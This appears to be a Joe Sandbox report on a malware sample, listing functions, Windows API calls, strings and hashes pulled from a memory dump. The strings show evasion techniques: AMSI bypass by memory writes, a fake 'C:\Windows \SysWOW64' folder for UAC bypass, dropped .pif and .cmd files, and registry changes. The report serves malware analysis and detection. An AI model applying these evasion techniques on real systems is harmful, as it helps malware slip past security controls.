Part of subcall function 027EDF80: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,027EE052), ref: 027EDFBF
Part of subcall function 027EDF80: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 027EDFF9
Part of subcall function 027EDF80: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 027EE026
Part of subcall function 027EDF80: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 027EE02F

Part of subcall function 027E8818: LoadLibraryW.KERNEL32(bcrypt,?,000005FC,00000000,0282B3A4,027EA43F,ScanString,0282B3A4,027EA7F4,ScanBuffer,0282B3A4,027EA7F4,Initialize,0282B3A4,027EA7F4,UacScan), ref: 027E882C
Part of subcall function 027E8818: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 027E8846
Part of subcall function 027E8818: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,000005FC,00000000,0282B3A4,027EA43F,ScanString,0282B3A4,027EA7F4,ScanBuffer,0282B3A4,027EA7F4,Initialize), ref: 027E8882

Part of subcall function 027E8784: LoadLibraryW.KERNEL32(amsi), ref: 027E878D
Part of subcall function 027E8784: FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 027E87EC

Strings

.url, xrefs: 027F5F5B
C:\Users\Public\alpha.pif, xrefs: 027F561E
IconIndex=, xrefs: 027F6F7D
C:\\Windows \\SysWOW64\\, xrefs: 027F4B2E
ScanString, xrefs: 027F4212, 027F4D3D, 027F4FE9, 027F5780, 027F591A, 027F5C5F, 027F6023, 027F66C2, 027F6EA8, 027F701F, 027F70D7
C:\Users\Public\xkn.pif, xrefs: 027F5639
URL=file:", xrefs: 027F6F27
NEO.c, xrefs: 027F4F32
C:\\Users\\Public\\Libraries\\, xrefs: 027F6337
FX.c, xrefs: 027F51E3
Initialize, xrefs: 027F5A3E, 027F5DD3, 027F61CF, 027F6394, 027F6600, 027F673E, 027F6943
HotKey=, xrefs: 027F70B1
OpenSession, xrefs: 027F43EF, 027F4617, 027F479A, 027F4BD7, 027F4E35, 027F50E1, 027F5231, 027F5397, 027F552C, 027F57FC, 027F5996, 027F5B36, 027F5CDB, 027F5E4F, 027F609F, 027F6153, 027F6410, 027F6508, 027F69BF, 027F6C99, 027F6E0D, 027F6FA3, 027F7153
@echo off@%.%e%%c% %h% %o%.oo.% %.%o%, xrefs: 027F438E
UacUninitialize, xrefs: 027F4140, 027F4951
C:\Users\Public\, xrefs: 027F41B0, 027F5F50, 027F71C3
UacScan, xrefs: 027F428E, 027F4470, 027F459B, 027F471E, 027F48EF, 027F49CD, 027F4B5B, 027F5D57, 027F62C7, 027F648C, 027F67BA, 027F68C7, 027F6B25, 027F6C1D
C:\\Windows \\SysWOW64\\svchost.pif, xrefs: 027F4708
ScanBuffer, xrefs: 027F430A, 027F4515, 027F4693, 027F4816, 027F4892, 027F4A49, 027F4C53, 027F4EB1, 027F515D, 027F52AD, 027F5413, 027F55A8, 027F5878, 027F5BB2, 027F5ECB, 027F624B, 027F6584, 027F6836, 027F6A3B, 027F6BA1, 027F6D15, 027F6D91
[InternetShortcut], xrefs: 027F6F18
lld.SLITUTEN, xrefs: 027F4B18
UacInitialize, xrefs: 027F4DB9, 027F5065, 027F54B0, 027F5704, 027F5ABA, 027F5FA7

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: Library$FilePath$FreeLoad$AddressNameName_ProcSleep$AttributesCloseCreateDeleteHandleModuleWrite
String ID: .url$@echo off@%.%e%%c% %h% %o%.oo.% %.%o%$C:\Users\Public\$C:\Users\Public\alpha.pif$C:\Users\Public\xkn.pif$C:\\Users\\Public\\Libraries\\$C:\\Windows \\SysWOW64\\$C:\\Windows \\SysWOW64\\svchost.pif$FX.c$HotKey=$IconIndex=$Initialize$NEO.c$OpenSession$ScanBuffer$ScanString$URL=file:"$UacInitialize$UacScan$UacUninitialize$[InternetShortcut]$lld.SLITUTEN
API String ID: 3260000616-127592166
Opcode ID: cdb8d9ae3799dcb8fbd723b4d8fa793081b16cbc478ca56db1a113b70fe8c2df
Instruction ID: 168ab9fc6185536955297ed84cedf4d88a4970db049c131dc4aa1071cfba4ec2
Opcode Fuzzy Hash: cdb8d9ae3799dcb8fbd723b4d8fa793081b16cbc478ca56db1a113b70fe8c2df
Instruction Fuzzy Hash: 73437839B1425D8FDF62EB65DC95A9AB3B6FF89304F1040E29549AB350CB30AE95CF01

Function 027EE96C Relevance: 25.1, APIs: 3, Strings: 11, Instructions: 562
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 027E889C: LoadLibraryA.KERNEL32(00000000,00000000,027E8983), ref: 027E88D0
Part of subcall function 027E889C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,027E8983), ref: 027E88E0
Part of subcall function 027E889C: GetProcAddress.KERNEL32(74AE0000,00000000), ref: 027E88F9
Part of subcall function 027E889C: FreeLibrary.KERNEL32(74AE0000,00000000,0282B388,Function_0000662C,00000004,0282B398,0282B388,000186A3,00000040,0282B39C,74AE0000,00000000,00000000,00000000,00000000,027E8983), ref: 027E8963

Part of subcall function 027E8654: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 027E86E0

Part of subcall function 027E8818: LoadLibraryW.KERNEL32(bcrypt,?,000005FC,00000000,0282B3A4,027EA43F,ScanString,0282B3A4,027EA7F4,ScanBuffer,0282B3A4,027EA7F4,Initialize,0282B3A4,027EA7F4,UacScan), ref: 027E882C
Part of subcall function 027E8818: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 027E8846
Part of subcall function 027E8818: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,000005FC,00000000,0282B3A4,027EA43F,ScanString,0282B3A4,027EA7F4,ScanBuffer,0282B3A4,027EA7F4,Initialize), ref: 027E8882

WaitForSingleObject.KERNEL32(00000000,000000FF,ScanString,0282B37C,027EF240,OpenSession,0282B37C,027EF240,UacScan,0282B37C,027EF240,ScanBuffer,0282B37C,027EF240,OpenSession,0282B37C), ref: 027EF062
CloseHandle.KERNEL32(00000000,00000000,000000FF,ScanString,0282B37C,027EF240,OpenSession,0282B37C,027EF240,UacScan,0282B37C,027EF240,ScanBuffer,0282B37C,027EF240,OpenSession), ref: 027EF06A
CloseHandle.KERNEL32(000008A8,00000000,00000000,000000FF,ScanString,0282B37C,027EF240,OpenSession,0282B37C,027EF240,UacScan,0282B37C,027EF240,ScanBuffer,0282B37C,027EF240), ref: 027EF073

Strings

UacScan, xrefs: 027EE9AC, 027EEB51, 027EECE9, 027EEF29, 027EF16C
ScanString, xrefs: 027EEA5E, 027EEC03, 027EEDCB, 027EEFF3
Initialize, xrefs: 027EEE3C, 027EF07F
AmsiOpenSession, xrefs: 027EEB08
ScanBuffer, xrefs: 027EEEDA, 027EF11D
NtOpenProcess, xrefs: 027EF1C5
Amsi, xrefs: 027EEB19
ntdll, xrefs: 027EF1B9, 027EF1CA
NtSetSecurityObject, xrefs: 027EF1B4
"C:\Users\Public\UhzauuilF.cmd" , xrefs: 027EEAE5, 027EECA7
OpenSession, xrefs: 027EEA05, 027EEBAA, 027EED5A, 027EEE8B, 027EEF82, 027EF0CE

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: Library$Handle$AddressCloseFreeLoadProc$CreateModuleObjectProcessSingleUserWait
String ID: "C:\Users\Public\UhzauuilF.cmd" $Amsi$AmsiOpenSession$Initialize$NtOpenProcess$NtSetSecurityObject$OpenSession$ScanBuffer$ScanString$UacScan$ntdll
API String ID: 1374282660-1977161105
Opcode ID: 301983626862f68b34f57367ed03b68f4faa6cd3caf82301b64375c8f43d80f3
Instruction ID: 937123c618af745aec95b44303474c37011f438fa102242178fb527afb3add8f
Opcode Fuzzy Hash: 301983626862f68b34f57367ed03b68f4faa6cd3caf82301b64375c8f43d80f3
Instruction Fuzzy Hash: 86222079A0015D9BDF12FB64D895FCE73BAEF89300F1041A1D00AEBA54DB70AE458F66

Function 027D1724 Relevance: 12.3, APIs: 7, Strings: 1, Instructions: 289
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?,027D2000), ref: 027D17D0
Sleep.KERNEL32(0000000A,00000000,?,027D2000), ref: 027D17E6

Strings

%@ @, xrefs: 027D1830, 027D1875, 027D19B9, 027D1A34

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: Sleep
String ID: %@ @
API String ID: 3472027048-627730658
Opcode ID: 6f2122a2c84b00ab0b4973288b6894cd6dce4c7779ce96a561e47f2b17a1a5af
Instruction ID: 9b4a44f34fc998511cc797d3c8d97fa6e0307158248a346909763943e4f6464e
Opcode Fuzzy Hash: 6f2122a2c84b00ab0b4973288b6894cd6dce4c7779ce96a561e47f2b17a1a5af
Instruction Fuzzy Hash: E7B1237AA403518FCB25CF68E884366BBF1EB85320F59C6AED44D8B3C5D7709455CBA0

Function 027E8784 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 35
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(amsi), ref: 027E878D

Part of subcall function 027E8140: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,027E81C8,?,?,00000000,00000000,?,027E80E1,00000000,KernelBASE,00000000,00000000,027E8108), ref: 027E818D
Part of subcall function 027E8140: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 027E8193
Part of subcall function 027E8140: GetProcAddress.KERNEL32(?,?), ref: 027E81A5

Part of subcall function 027E7D78: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 027E7DEC

FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 027E87EC

Strings

amsi, xrefs: 027E8788
DllGetClassObject, xrefs: 027E87B2
W, xrefs: 027E8799

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: AddressLibraryProc$FreeHandleLoadMemoryModuleVirtualWrite
String ID: DllGetClassObject$W$amsi
API String ID: 941070894-2671292670
Opcode ID: 12d5ad69d6a21a699d56558d370034565290fe79da43a445f1d741ffc7831e90
Instruction ID: 5de997516f76fa62130ead3b54f48cee8b445e45ef87c3ab6d5583d45ca2086e
Opcode Fuzzy Hash: 12d5ad69d6a21a699d56558d370034565290fe79da43a445f1d741ffc7831e90
Instruction Fuzzy Hash: 34F0C89004C38179E702E378CC49F4FBECD4B56224F048A1DF1E95A2D2D675D1148777

Function 027D1A8C Relevance: 7.7, APIs: 6, Instructions: 175
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?,?,00000000,027D1FE4), ref: 027D1B17
Sleep.KERNEL32(0000000A,00000000,?,?,00000000,027D1FE4), ref: 027D1B31

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: ec7dd740570920120af11f23dc64756616a14f7c0259ecfc184e5d6b2f2e7a1a
Instruction ID: 7167e9f119d10f7574f90fb094999a807a4a9d106a839c4fc5aa1800680a66cb
Opcode Fuzzy Hash: ec7dd740570920120af11f23dc64756616a14f7c0259ecfc184e5d6b2f2e7a1a
Instruction Fuzzy Hash: AB51B0756012408FDB26CF6CD988766BBF1AF85324F9886AED44CCB2C6E770D445CBA1

Function 027EE7AA Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 027EE8EA

Strings

OpenSession, xrefs: 027EE88C
Initialize, xrefs: 027EE7DA
ScanBuffer, xrefs: 027EE833

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: 9d94bd773e17a9d2bffed81e9f2e368ec9be08c113f97df11be9f54db925e462
Instruction ID: 603cb59a6d56da03823cf2c03554072fb639515f315d432e056a91551dfb4e36
Opcode Fuzzy Hash: 9d94bd773e17a9d2bffed81e9f2e368ec9be08c113f97df11be9f54db925e462
Instruction Fuzzy Hash: EB414F75F102499FEF02EBA4D895ADEB7FAEF9C710F604831E442A7250DA70AD018F61

Function 027E889C Relevance: 6.1, APIs: 4, Instructions: 65libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,00000000,027E8983), ref: 027E88D0
GetModuleHandleA.KERNEL32(00000000,00000000,00000000,027E8983), ref: 027E88E0
GetProcAddress.KERNEL32(74AE0000,00000000), ref: 027E88F9

Part of subcall function 027E7D78: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 027E7DEC

FreeLibrary.KERNEL32(74AE0000,00000000,0282B388,Function_0000662C,00000004,0282B398,0282B388,000186A3,00000040,0282B39C,74AE0000,00000000,00000000,00000000,00000000,027E8983), ref: 027E8963

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: Library$AddressFreeHandleLoadMemoryModuleProcVirtualWrite
String ID:
API String ID: 1543721669-0
Opcode ID: b5167110f52f76b5a60d5c8016cbf0a00c8e209ef702ff3316ef077f487e7aa4
Instruction ID: 6ceb12b66d6e32a531228b3daa64b948cbd80ceb9b1158075fd7c3cb9e6c4491
Opcode Fuzzy Hash: b5167110f52f76b5a60d5c8016cbf0a00c8e209ef702ff3316ef077f487e7aa4
Instruction Fuzzy Hash: 4A1184B8A41304AFEB01FBB9EE1EB1E77FEEB48700F4504207505E7290D674A9448B1A

Function 027E8486 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46processCOMMON

Download Yara Rule

APIs

Part of subcall function 027E8098: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,027E8108,?,?,00000000,?,027E7A7E,ntdll,00000000,00000000,027E7AC3,?,?,00000000), ref: 027E80D6
Part of subcall function 027E8098: GetModuleHandleA.KERNELBASE(?), ref: 027E80EA

Part of subcall function 027E8140: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,027E81C8,?,?,00000000,00000000,?,027E80E1,00000000,KernelBASE,00000000,00000000,027E8108), ref: 027E818D
Part of subcall function 027E8140: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 027E8193
Part of subcall function 027E8140: GetProcAddress.KERNEL32(?,?), ref: 027E81A5

WinExec.KERNEL32(?,?), ref: 027E84F0

Strings

Kernel32, xrefs: 027E84D3
WinExec, xrefs: 027E84A1

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: HandleModule$AddressProc$Exec
String ID: Kernel32$WinExec
API String ID: 2292790416-3609268280
Opcode ID: 3058bbf6a1d8f1db88e484f78e926d47116b78ce1f6ce5f5fe9ba601d7667d96
Instruction ID: 8899f1951b1a399b110c73b3b922175e00bb590dd549b8b8b5fcd380e15bf44c
Opcode Fuzzy Hash: 3058bbf6a1d8f1db88e484f78e926d47116b78ce1f6ce5f5fe9ba601d7667d96
Instruction Fuzzy Hash: 9A018CB5640308BFEB12EFA4DD1AB5A77FEE74CB00F918420B501D3660EA74AD148A36

Function 027E8488 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45processCOMMON

Download Yara Rule

APIs

Part of subcall function 027E8098: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,027E8108,?,?,00000000,?,027E7A7E,ntdll,00000000,00000000,027E7AC3,?,?,00000000), ref: 027E80D6
Part of subcall function 027E8098: GetModuleHandleA.KERNELBASE(?), ref: 027E80EA

Part of subcall function 027E8140: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,027E81C8,?,?,00000000,00000000,?,027E80E1,00000000,KernelBASE,00000000,00000000,027E8108), ref: 027E818D
Part of subcall function 027E8140: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 027E8193
Part of subcall function 027E8140: GetProcAddress.KERNEL32(?,?), ref: 027E81A5

WinExec.KERNEL32(?,?), ref: 027E84F0

Strings

Kernel32, xrefs: 027E84D3
WinExec, xrefs: 027E84A1

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: HandleModule$AddressProc$Exec
String ID: Kernel32$WinExec
API String ID: 2292790416-3609268280
Opcode ID: 6fe8732e84303a77bbbd8c123e55610b9dba9da87d1617b12641af409784141e
Instruction ID: 4ef17424ced78a5d19637eefeebbee2ecb24f44935dd4a073628b56f4e951671
Opcode Fuzzy Hash: 6fe8732e84303a77bbbd8c123e55610b9dba9da87d1617b12641af409784141e
Instruction Fuzzy Hash: 1EF08CB5640308BFEB12EFA4DD1AB5A77FEE74CB00F918420B501D3660DA74A9148A36

Function 027E5C2C Relevance: 4.6, APIs: 3, Instructions: 105fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,027E5D74,?,?,027E3900,00000001), ref: 027E5C88
GetLastError.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,027E5D74,?,?,027E3900,00000001), ref: 027E5CB6

Part of subcall function 027D7D5C: CreateFileA.KERNEL32(00000000,00000000,00000000,00000000,00000003,00000080,00000000,?,?,027E3900,027E5CF6,00000000,027E5D74,?,?,027E3900), ref: 027D7DAA

Part of subcall function 027D7F98: GetFullPathNameA.KERNEL32(00000000,00000104,?,?,?,027E3900,027E5D11,00000000,027E5D74,?,?,027E3900,00000001), ref: 027D7FB7

GetLastError.KERNEL32(00000000,027E5D74,?,?,027E3900,00000001), ref: 027E5D1B

Part of subcall function 027DA778: FormatMessageA.KERNEL32(00003200,00000000,?,00000000,?,00000100,00000000,?,027DC3D9,00000000,027DC433), ref: 027DA797

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: CreateErrorFileLast$FormatFullMessageNamePath
String ID:
API String ID: 503785936-0
Opcode ID: f41e8f47b84f8ad0b3fddcff15fdb994b0f43d599ce0161824cf00d7813c4fb5
Instruction ID: eef9838cbcbbffcdc8056df974083225f73c9b6ff26a657494f530574c736559
Opcode Fuzzy Hash: f41e8f47b84f8ad0b3fddcff15fdb994b0f43d599ce0161824cf00d7813c4fb5
Instruction Fuzzy Hash: 5931D574E006099FDB02EFA9C8897EDB7F6AB0D704F908465D505AB390D7755A048FB1

Function 027EF506 Relevance: 4.6, APIs: 3, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(?,00000000,0291FA64), ref: 027EF54C
RegSetValueExA.ADVAPI32(000008B4,00000000,00000000,00000001,00000000,0000001C,00000000,027EF5B7), ref: 027EF584
RegCloseKey.ADVAPI32(000008B4,000008B4,00000000,00000000,00000001,00000000,0000001C,00000000,027EF5B7), ref: 027EF58F

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: CloseOpenValue
String ID:
API String ID: 779948276-0
Opcode ID: 4c93381b53a65b0d84769105e3574b8d0ad0b97aac33f8fb4b87282817c3c902
Instruction ID: 59b7bb6ce2f4f9a339eda1de716c035d30dd90b726f862033d3df35e47f72b8e
Opcode Fuzzy Hash: 4c93381b53a65b0d84769105e3574b8d0ad0b97aac33f8fb4b87282817c3c902
Instruction Fuzzy Hash: 53113D71644608AFEB02EF69EC95A697BFDEB08710F400460F505D7A90EB34EA40CF64

Function 027EF508 Relevance: 4.6, APIs: 3, Instructions: 58registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(?,00000000,0291FA64), ref: 027EF54C
RegSetValueExA.ADVAPI32(000008B4,00000000,00000000,00000001,00000000,0000001C,00000000,027EF5B7), ref: 027EF584
RegCloseKey.ADVAPI32(000008B4,000008B4,00000000,00000000,00000001,00000000,0000001C,00000000,027EF5B7), ref: 027EF58F

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

API ID: CloseOpenValue
String ID:
API String ID: 779948276-0
Opcode ID: a08099b275ca3488788ca50df73634466cb01f742e068beca8a0a1fa3cb7a3e2
Instruction ID: 11c13fabadf9313474ce19f45823525b40be138f6929e95040b652034cf822fc
Opcode Fuzzy Hash: a08099b275ca3488788ca50df73634466cb01f742e068beca8a0a1fa3cb7a3e2
Instruction Fuzzy Hash: 09113A71644608AFEB02EF69EC95A9A7BFDEB08710F800460F505D7A90EB34EA40CF64

Function 027DE364 Relevance: 4.5, APIs: 3, Instructions: 45COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 027DE373

Memory Dump Source

Source File: 00000001.00000002.1856563852.00000000027D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027D0000, based on PE: true

Associated: 00000001.00000002.1856538459.00000000027D0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856664499.00000000027FE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856781611.000000000282B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.000000000291F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1856845568.0000000002922000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_27d0000_x.jbxd

Similarity

